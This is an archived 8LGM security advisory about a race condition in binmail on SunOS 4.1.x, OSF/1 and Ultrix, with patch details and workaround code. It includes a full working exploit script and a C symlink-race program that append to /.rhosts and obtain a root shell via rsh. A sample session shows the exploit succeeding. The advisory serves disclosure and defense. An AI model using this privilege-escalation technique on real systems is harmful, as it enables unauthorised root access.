TUCoPS :: Unix :: General :: binmail.htm


Vulnerability
 binmail(1) (/usr/bin/mail)
Affected
 SunOS 4.1.x
 OSF/1 1.2, 1.3, and 2.0
 Ultrix 4.3, 4.3A, 4.4
 Solbourne ?.?
 (Possibly other platforms)
Description
 A race condition exists in binmail(1), which allows files to
 be created in arbitrary places on the filesystem. These files
 can be owned by arbitrary (usually system) users.
 This example demonstrates how to become root on most affected
 machines by creating/appending-to root's .rhosts file. Please
 do not do this unless you have permission.
 Create the following file, 'mailscript':
 --------------------------- cut here ----------------------------
 #!/bin/sh
 #
 # Syntax: mailscript user target-file rsh-user
 #
 # This exploits a flaw in SunOS binmail(1), and attempts
 # to become the specified 'user', by creating a .rhosts
 # file and using rsh.
 #
 # Written 1992 by [8LGM]
 # Please do not use this script without permission.
 #
 PATH=/usr/ucb:/usr/bin:/bin export PATH
 IFS=" " export IFS
 PROG="`basename 0ドル`"
 SPOOLDIR="/var/spool/mail"
 # Check args
 if [ $# -ne 3 ]; then
	 echo "Syntax: $PROG user target-file rsh-user"
	 exit 1
 fi
 TARGET="1ドル"
 TARGET_FILE="2ドル"
 RSH_USER="3ドル"
 # Check we're on SunOS
 if [ "x`uname -s`" != "xSunOS" ]; then
	 echo "Sorry, this only works on SunOS"
	 exit 1
 fi
 # Check user exists
 grep "^$TARGET:" /etc/passwd>/dev/null 2>&1
 if [ $? -ne 0 ]; then
	 echo "$PROG: Warning, $TARGET not in local passwd file"
	 # We continue though, might be in the YP passwd file
 fi
 # Check target file
 if [ -f $TARGET_FILE ]; then
	 OLD_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print 4ドル}'`
 2>/dev/null
	 echo "$PROG: Warning, $TARGET_FILE already exists, appending"
 else
	 OLD_TARGET_LEN=0
 fi
 # Delete spool file if its a link, and we are able
 if [ -h "$SPOOLDIR/$TARGET" ]; then
	 rm -f "$SPOOLDIR/$TARGET"
	 # Dont worry about errors, we catch it below
 fi
 # Check mail file
 if [ -f "$SPOOLDIR/$TARGET" ]; then
	 echo "$PROG: ${TARGET}'s mail file exists."
	 exit 1
 fi
 # Make the race program
 cat> mailrace.c << 'EOF'
 #include <unistd.h>
 #include <stdio.h>
 char lockfile[] =".lock";
 main(argc,argv)
 int argc;
 char *argv[];
 {
	 char path[128];
	 if (argc != 3) {
		 fprintf(stderr, "Usage: %s mailfile newfile\n", argv[0]);
		 exit(1);
	 }
	 strcpy(path, argv[1]);
	 strcat(path, lockfile);
	 while(access(path, F_OK));
	 symlink(argv[2], argv[1]);
 }
 EOF
 cc -o mailrace mailrace.c
 # Check we now have mailrace
 if [ ! -x "mailrace" ]; then
	 echo "$PROG: couldnt compile mailrace.c - check it out"
	 exit 1
 fi
 # Start mailrace
 ./mailrace $SPOOLDIR/$TARGET $TARGET_FILE &
 RACE_PID=$!
 # Send mail to the user
 NEW_TARGET_LEN=$OLD_TARGET_LEN
 while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do
	 echo "Sending mail to $TARGET"
	 echo "localhost $USER" | /bin/mail $TARGET
	 sleep 10
	 kill -STOP $RACE_PID
	 rm -f $SPOOLDIR/$TARGET>/dev/null 2>&1
	 if [ -f $SPOOLDIR/$TARGET ]; then
		 echo "$PROG: Sorry, we lost the race - cant try again."
		 kill -9 $RACE_PID
		 exit 1
	 fi
	 kill -CONT $RACE_PID
	 if [ -f "$TARGET_FILE" ]; then
		 NEW_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print 4ドル}'`
 2>/dev/null
	 else
		 NEW_TARGET_LEN=0
	 fi
	 if [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; then
		 echo "We drew the race that time, trying again"
	 fi
 done
 # We won the race
 kill -9 $RACE_PID
 echo "We won the race, becoming $RSH_USER"
 rsh localhost -l $RSH_USER sh -i
 exit 0
 --------------------------- cut here ----------------------------
 (Lines marked with> represent user input)
 Check what root users are on the system:
> % grep :0: /etc/passwd
	root:*:0:1:Operator:/:/bin/csh
	sysdiag:*:0:1:Old System
	Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag
	sundiag:*:0:1:System
	Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag
	+::0:0:::
 We choose a user with UID 0, but without a
 /var/spool/mail/<username> file:
> % ls -l /var/spool/mail/sysdiag
	/var/spool/mail/sysdiag not found
 Execute mailscript. The user is sysdiag, the target file is
 /.rhosts, and the user to rsh to on success is root:
> % chmod 700 mailscript
> % ./mailscript sysdiag /.rhosts root
	mailscript: Warning, /.rhosts already exists, appending
	Sending mail to sysdiag
	We won the race, becoming root
	./mailscript: 11051 Killed
	#
 This problem exists because /var/spool/mail is rwxrwxrwt. (Other
 systems have their spool dir rwxrwxr-x, and run their MUA's sgid
 mail). Before it opens the mail file, binmail does an lstat(2)
 to check that it is not about to write to a linked file. The
 intention is to prevent arbitrary files from being created or
 appended to.
 However, there exists a window of opportunity between lstat(2)
 and open(2); if a link is created after lstat, open will then
 follow the link. This is not a straightforward task, as it is
 not possible to predict when to create the link.
 Therefore it is necessary to have a program (mailrace) which
 continually creates links and then removes them. To exploit the
 window of opportunity, it is required that the link has been
 removed before the context switch for lstat, but exists for open.
 There are three possible outcomes for this race:-
 1) lstat finds a link - mail returned to sender.
 2) link does not exist for lstat, but does for open - file
 created - we win.
 3) link does not exist for lstat or open - mailbox created. In
 this case, it is not possible to remove the mailbox (as the
 stick bit is set on /var/spool/mail), so it is necessary to
 choose another target user.
 In tests, it would appear that the chances of 1) and 2) occurring
 are approximately equal, with the chance of 3) being somewhat
 lower.
 Please note that this vulnerability may exist on other platforms
 where the mail spool directory has mode 777 and /bin/mail is
 setuid root.
Solution
 Contact your vendor for a patch.
 For OSF/1 upgrade/install OSF/1 to a minimum of V2.0 and install
 Security Enhanced Kit CSCPAT_4061 v1.0.
 For Ultrix upgrade/install ULTRIX to a minimum of V4.4 and
 install Security Enhanced Kit CSCPAT_4060 v1.0.
 For SunOS current patches are listed below, but they are being
 revised.
 SunOS Patch MD5 Checksum
 ------ ----- ------------
 4.1.3 100224-13.tar.Z 90a507017a1a40c4622b3f1f00ce5d2d
 4.1.3UI 101436-08.tar.Z 0e64560edc61eb4b3da81a932e8b11e1
 The patches can be obtained from local Sun Answer Centers and
 through anonymous FTP from ftp.uu.net in the /systems/sun/sun-dist
 directory. In Europe, the patches are available from mcsun.eu.net
 in the /sun/fixes directory.
 We have considered several potential workarounds for this
 vulnerability. The ideal fix would be to remove global write
 access to the mail spool directory. However, this is not
 possible as programs such as /bin/mail, /usr/ucb/Mail and
 elm require everyone to have write access. Also it is not
 possible to, for example, change the group ownership of
 /var/spool/mail to mail and give /bin/mail and /usr/ucb/Mail
 setgid mail privilege, as they do not reset their group id
 before forking a shell.
 We have therefore decided that the following is the only viable
 method:
 1. Ensure that every user maintains a mailbox file. The
 following program will create a mailbox for every user
 on the system, if one does not currently exist.
 --------------------------- cut here ----------------------------
 /*
 * makemailboxes.c
 *
 * Written 1994 by [8LGM]
 *
 * This program is part of a workaround for the SunOS 4.1.x /bin/mail
 * bug described in the 8LGM Advisory. This program should be executed
 * as root, and will create a mailbox for each user that doesnt have one.
 * In order for this workaround to be effective, /usr/ucb/Mail also needs
 * to be wrapped with wrapper.c.
 */
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <sys/param.h>
 #include <sys/file.h>
 #include <stdio.h>
 #include <unistd.h>
 #include <pwd.h>
 #define MAIL_SPOOL_DIR "/var/spool/mail"
 main(argc, argv)
 int argc;
 char *argv[];
 {
	 int fd;
	 char path[MAXPATHLEN + 5];
	 struct passwd *pw;
	 umask(0);
	 setpwent();
	 while (pw = getpwent()) {
		 sprintf(path, "%s/%s", MAIL_SPOOL_DIR, pw->pw_name);
		 if (access(path, F_OK)) {
			 if ((fd = open(path,O_CREAT|O_EXCL|O_WRONLY, 0600)) < 0)
				 perror("open");
			 else {
				 if (fchown(fd, pw->pw_uid, pw->pw_gid))
					 perror("fchown");
				 close(fd);
				 printf("Created %s\n", path);
			 }
		 }
	 }
	 endpwent();
	 exit(0);
 }
 --------------------------- cut here ----------------------------
 2. /usr/ucb/Mail removes the mailbox file if all mail has
 been read, and the user is not preserving the contents.
 Therefore, we would recommend using the following wrapper
 for Mail, which creates the user's mailbox if it has been
 removed.
 /*
 * wrapper.c
 *
 * Written 1994 by [8LGM]
 *
 * This program is part of a workaround for the SunOS 4.1.x /bin/mail
 * bug described in the 8LGM Advisory. Programs such as /usr/ucb/Mail
 * that will delete the user's mailbox when he/she has no mail need to
 * be wrapped with this.
 *
 * Install as follows:
 *
 * # cc -O -o wrapper wrapper.c
 * # mv /usr/ucb/Mail /usr/ucb/Mail.old
 * # mv /usr/ucb/mail /usr/ucb/mail.old
 * # cp wrapper /usr/ucb/Mail
 * # chmod 755 /usr/ucb/Mail
 * # ln /usr/ucb/Mail /usr/ucb/mail
 *
 * DO NOT INSTALL THIS PROGRAM SET-UID/SET-GID ANYTHING.
 */
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <sys/param.h>
 #include <sys/file.h>
 #include <stdio.h>
 #include <unistd.h>
 #include <pwd.h>
 #define MAIL_SPOOL_DIR "/var/spool/mail"
 main(argc, argv)
 int argc;
 char *argv[];
 {
	 pid_t pid;
	 int status, fd;
	 char path[MAXPATHLEN + 5], *user;
	 struct passwd *pw;
	 if ((pid = fork()) == -1) {
		 perror("fork");
		 exit(1);
	 }
	 sprintf(path, "%s.old", argv[0]);
	 if (pid == 0) {
		 execvp(path, argv);
		 perror("execvp");
		 exit(1);
	 }
	 setuid(getuid()); /* Just in case we're suid,
				 which we shouldnt be */
	 if (waitpid(pid, &status, 0) == -1) {
		 perror("waitpid");
		 exit(1);
	 }
	 if ((user = (char*)getenv("USER")) == NULL) {
		 if ((pw = getpwuid(getuid())) == NULL) {
			 fprintf(stderr, "Who are you?!");
			 exit(1);
		 }
		 user = pw->pw_name;
	 }
	 sprintf(path, "%s/%s", MAIL_SPOOL_DIR, user);
	 if (access(path, F_OK)) {
		 if ((fd = open(path, O_CREAT|O_EXCL|O_WRONLY, 0600)) < 0)
			 perror("open");
		 else
			 close(fd);
	 }
	 exit(status);
 }

AltStyle によって変換されたページ (->オリジナル) /

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH